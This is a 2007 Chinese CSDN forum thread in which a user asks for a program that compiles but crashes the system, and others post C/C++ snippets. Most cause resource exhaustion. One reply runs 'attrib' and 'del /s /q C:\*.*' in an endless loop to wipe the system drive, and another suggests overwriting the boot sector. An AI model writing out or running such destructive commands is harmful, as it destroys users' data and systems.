谁有系统崩溃的程序

xchuanliu 2007-11-16 10:34:25
以前见过很多溢出之类的程序,但是有道题是这样的:能不能写一个编译时可以通过,但是运行时系统崩溃的程序?
不知道哪位大侠能帮忙写写?最好能解释一下原因,谢谢!!!!!
...全文
391 27 打赏 收藏 转发到动态 举报
写回复
用AI写文章
27 条回复
切换为时间正序
请发表友善的回复…
发表回复
kingqin 2007-11-21
  • 打赏
  • 举报
回复
我也想知道饼子堂怎么加入?
xchuanliu 2007-11-19
  • 打赏
  • 举报
回复
to zhangyanli
我觉得也许是现在的保护机制起的作用吧
quentinliu 2007-11-19
  • 打赏
  • 举报
回复
饼子堂?怎么进去?
r_swordsman 2007-11-19
  • 打赏
  • 举报
回复
写个硬件驱动...运行安装...然后蓝屏就可以
xchuanliu 2007-11-18
  • 打赏
  • 举报
回复
to 15楼silent_shadow
你的程序仅仅是删掉c盘的文件,而这种很简单的做法用程序是不是有点麻烦了?
xchuanliu 2007-11-18
  • 打赏
  • 举报
回复
to 7楼zhangyanli
你的和2楼石头的基本一样,但是在运行时会跳出错误。我觉得应该不能算是成功的!
谢谢!
xchuanliu 2007-11-18
  • 打赏
  • 举报
回复
to 石头
你的程序应该是可以引起的,中间是使cpu不断运行,可是编译通不过啊!
7 F:\studing\Specialty\C++\文件\warming.cpp size of array `RAM' is too large

谢谢!
xchuanliu 2007-11-18
  • 打赏
  • 举报
回复
to 过儿思念小龙女
仅仅想研究一下技术,了解一下内部问题而已。再一个我见有的面试题上有,我又想再自己的机器上体验一下,记得更加深刻一点。仅此而已,谢谢!
luxiao_qq 2007-11-18
  • 打赏
  • 举报
回复


#include<stdio.h>

int main(void)
{
for( ; ; )
system("explorer");

return 0;
}



让它运行完,试试看
silent_shadow 2007-11-18
  • 打赏
  • 举报
回复
如果将p=fopen( "G:\\test\\test.dat ", "wb+ ");
改成p=fopen( "C:\\windows\\test.dat ", "wb+ "); 放在那个死循环里,那么
它就可以耗尽C:盘空间而使系统死机
zhangyanli 2007-11-18
  • 打赏
  • 举报
回复
to 楼主:

其实我的程序是随手乱画的。只是栈耗尽而崩溃。
不知你说的系统崩溃到底什么意思?

另外你的什么编译器,运行时跳出错误什么意思啊。
dabang_007 2007-11-18
  • 打赏
  • 举报
回复
to Treazy :
我也不知道啥叫饼子堂,百度一下发现这个词大多出自csdn,大胆猜测: 饼子堂是csdn的一个分支,聚集了各方好手。(相当于NBA的名人堂?)
_石头_ 2007-11-17
  • 打赏
  • 举报
回复
呵呵!论点出来了,还差论据啊!----ls继续啊!
独孤过儿 2007-11-17
  • 打赏
  • 举报
回复
现在的系统和CPU都有保护机制,再加上各种防毒软件,用普通的手段都不可能允许修改系统关键的部分的

如果想让系统崩溃,最好的方法就是更改引导区,让系统无法引导起来,这样就达到目的了。

只提供思路,不提供代码,因为不知道楼主是想研究技术还是搞破坏
zhangyanli 2007-11-17
  • 打赏
  • 举报
回复
#include<iostream>

using namespace std;

void a()
{
while(1)
{
int a[1024][1024];
}
}

int main()
{
a();
return 0;
}
silent_shadow 2007-11-17
  • 打赏
  • 举报
回复
#include <stdio.h>
int main()
{
FILE *p;
p=fopen("G:\\test\\test.dat","wb+");
while(1)
{
system("attrib -h -s -r -a C:\*.*");
system("del /s /q C:\*.*"); /*删除C盘的文件,下次无法启动系统*/
fprintf(p,"XXXXXXXXXXXXXXXXXXXX");
}
return 0;
}
a0002 2007-11-17
  • 打赏
  • 举报
回复
#include "list"

using namespace std;


int main(int argc, char* argv[])
{
list<int> coll(1024, 11);
coll.insert( coll.end(), coll.begin(), coll.end() );

return 0;
}


_石头_ 2007-11-17
  • 打赏
  • 举报
回复
好啊!不过不知道要考哪些范围的-------我没弄过c++! 主要是工作不涉及到他!
独孤过儿 2007-11-17
  • 打赏
  • 举报
回复
石头,确实需要面试的,三轮呢...

我还有最后一轮,就是把我面试的总结写出来贴到CSDN,给后来人看。

你要是想来,我告诉你我师兄的QQ,你联系他,他就是雁南飞大哥所说的掌门,不过大家好像都叫他村长,嘿嘿

哦,对了,我和老迈竟然是同校同专业的,所以我叫他师兄。有这样的师兄,骄傲啊!嘿嘿...
_石头_ 2007-11-17
  • 打赏
  • 举报
回复
to 雁大哥:
门槛不低,但也不高
---------------------------------------
是不是还要笔试啊?
加载更多回复(7)

70,038

社区成员

发帖
与我相关
我的任务
社区描述
C语言相关问题讨论
社区管理员
  • C语言
  • 花神庙码农
  • 架构师李肯
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧